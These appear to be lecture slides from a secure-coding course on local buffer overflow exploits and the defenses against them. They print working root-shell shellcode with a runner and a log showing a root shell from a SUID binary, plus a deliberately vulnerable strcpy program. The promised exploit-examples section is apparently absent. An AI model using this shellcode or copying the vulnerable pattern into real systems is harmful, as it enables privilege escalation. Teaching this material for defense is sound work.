

CYBR 437: Secure Coding

Local Buffer Overflow Exploits

Instructor: Abinash Borah

Outline

- Buffer Overflow and Privilege Escalation
- Components of an Exploit
- Exploit Examples
- Defenses against Buffer Overflows

Buffer Overflow and Privilege Escalation

- A buffer overflow can allow an attacker to take control of the EIP and execute malicious code with elevated privileges – potentially at the root level
- Some system tasks require higher privileges for the regular users
- Mechanisms of SUID (Set-user Identification) and SGID (Set-group Identification) were created to allow regular users to temporarily run specific programs with the file owner's/group's privileges
 - For example, the passwd command runs with root privileges even when executed by a regular user
- If such a SUID/SGID program contains a vulnerability like a buffer overflow, an attacker can exploit it to gain those elevated privileges – possibly at the root level
- Which makes these programs high-risk targets if not securely written

Components of an Exploit

- A main goal of local buffer overflow exploits is to control EIP to gain arbitrary code execution to achieve privilege escalation
- To build an exploit with a buffer overflow, one needs to create a larger buffer than the program is expecting by using the components:
 - NOP sled
 - Shellcode
 - A return address

NOP Sled

- NOP (no operation) command means to do nothing but move to the next instruction
- A NOP sled is a long sequence of NOP instructions placed before the shellcode in memory
- In a buffer overflow attack, an attacker often overwrites the return address – but guessing the exact address of the shellcode can be hard
- Instead of jumping to a precise byte, the attacker points the return address to somewhere in the NOP sled
- Even if the guess is slightly off, a NOP sled increases the reliability of an exploit
- On x86 systems, the 0x90 opcode represents NOP – the one most commonly used

Shellcode

- Shellcode is machine code that carries out an attacker's goals
- Early exploits aimed to give the attacker a command shell so that once the exploit worked – the attacker could type commands on the victim system
- Shellcode is no longer only for spawning a shell, it can:
 - Escalate privileges
 - Run a command
 - Download malware, etc.
- Shellcode is actually a string of binary opcodes specific to the exploited architecture – often represented in hexadecimal form

A Shellcode Example: Aleph1's shellcode to spawn a root shell

```
#include <stdio.h>
#include <sys/mman.h>

const char shellcode[] =                //setuid(0) & Aleph1's famous shellcode
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80"      //setuid(0) first
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
```

```
int main() { //main function

    //The shellcode is on the .data segment,
    //we will use mprotect to make the page executable.
    mprotect(
        (void *)((int)shellcode & ~4095), 4096,
        PROT_READ | PROT_WRITE | PROT_EXEC
    );

    //Convert the address of the shellcode variable to a function pointer,
    //allowing us to call it and execute the code.
    int (*ret)() = (int(*)())shellcode;
    return ret();
}
```

```
aborah@cybr437:~/bo_jan30$ gcc -m32 shellcode.c -o shellcode
aborah@cybr437:~/bo_jan30$ sudo chown root:root shellcode && sudo chmod u+s shellcode
aborah@cybr437:~/bo_jan30$ ./shellcode
# whoami
root
# id
uid=0(root) gid=1001(aborah) groups=1001(aborah),27(sudo)
```

Exploiting Stack Overflow from the Command Line

- This is the vulnerable program from last class (example1.c) with name[50] -> name[100]
- We will exploit the vulnerability to execute shell code
- Using pwntools – a Python framework to work with binary programs and understand exploitation concepts
- <https://docs.pwntools.com/en/latest/>

```
#include <stdio.h>
#include <string.h>

void greeting (char *title, char *pname){
    char name[100];
    strcpy(name, pname);
    printf("Hello %s %s\n", title, name);
}

int main (int argc, char *argv[]) {
    greeting(argv[1], argv[2]);
    printf("Bye %s %s\n", argv[1], argv[2]);
    return 0;
}
```


Defenses against Buffer Overflows

- Defense mechanisms for buffer overflows are broadly classified into two categories:
 - Compile-time defenses
 - Run-time defenses
- Compile-time defenses aim to prevent or detect buffer overflows by instrumenting programs when they are compiled – responsibility of the compiler
- Run-time defenses aim to detect and abort attacks in programs in execution – responsibility of the operating system/processor

Compile-Time Defenses

- Choice of programming language
 - Use of modern high-level programming languages that have a strong notion of variable type and what constitutes permissible operations on them
 - Such languages are not vulnerable to buffer overflow attacks because their compilers include additional code to enforce range checks automatically, removing the need for the programmer to code them explicitly
 - But the flexibility and safety come at a cost in resource use, both at compile time and in additional code that must be executed at run time to impose checks
 - Another issue is the distance from the underlying machine language and architecture – access to some instructions and hardware resources is lost
- Secure Coding Techniques
 - If languages such as C are used, then programmers need to be aware that the ability to manipulate pointer addresses and access memory has vulnerabilities
 - C's designers placed much more emphasis on efficiency and performance considerations than on safety
 - Programmers need to inspect code and avoid using any unsafe coding constructs

Compile-Time Defenses (contd.)

- Stack Protection Mechanisms
 - An effective method for protecting programs against classic stack overflow attacks is to instrument the function entry and exit code to set up and then check its stack frame for any evidence of corruption – if any modification is found, the program is aborted
 - Stackguard is one of the best-known protection mechanisms – it is a GCC compiler extension that inserts additional function entry and exit code
 - The function entry code writes a canary value below the old frame pointer address before the allocation of space for local variables
 - The function exit code checks that the canary value has not changed before continuing with the usual function exit operations of restoring the old frame pointer and transferring control back to the return address
 - Typically, a random value is chosen as the canary value on process creation and saved as part of the process state – the code added to the function entry and exit then uses this value

Run-Time Defenses

- Executable Address Space Protection
 - Many buffer overflow attacks involve copying machine code into a targeted buffer and then transferring execution to it
 - A possible defense is to block the execution of code on the stack with the assumption that executable code should only be found elsewhere in the process address space
 - Making the stack (and heap) nonexecutable provides a high degree of protection against many types of buffer overflow attacks for existing programs – hence the inclusion of this feature is standard in modern operating systems
 - An issue with this is the support for programs that need to place executable code on the stack - for example, in just-in-time compilers (special provisions are required to support these requirements)
 - Modern processors include a feature called the NX bit (No-eXecute bit) for protecting memory
 - The operating system uses it to mark memory pages as executable or non-executable

Run-Time Defenses (contd.)

- Address Space Randomization
 - Another run-time defense to prevent attacks involving manipulation of location of key data structures in the process address space
 - To implement the classic stack overflow attack, an attacker needs to be able to predict the approximate location of the targeted buffer
 - The attacker uses this predicted address to determine a suitable return address to use in the attack to transfer control to the shellcode
 - A defense to increase the difficulty of this prediction is to change the address at which the stack is located in a random manner for each process
- Guard Pages
 - Places guard pages between critical regions of memory in the process address space
 - Gaps are placed between the ranges of addresses used for each of the components of the address space
 - These gaps/guard pages are flagged as illegal addresses, and any attempt to access these results in a process being aborted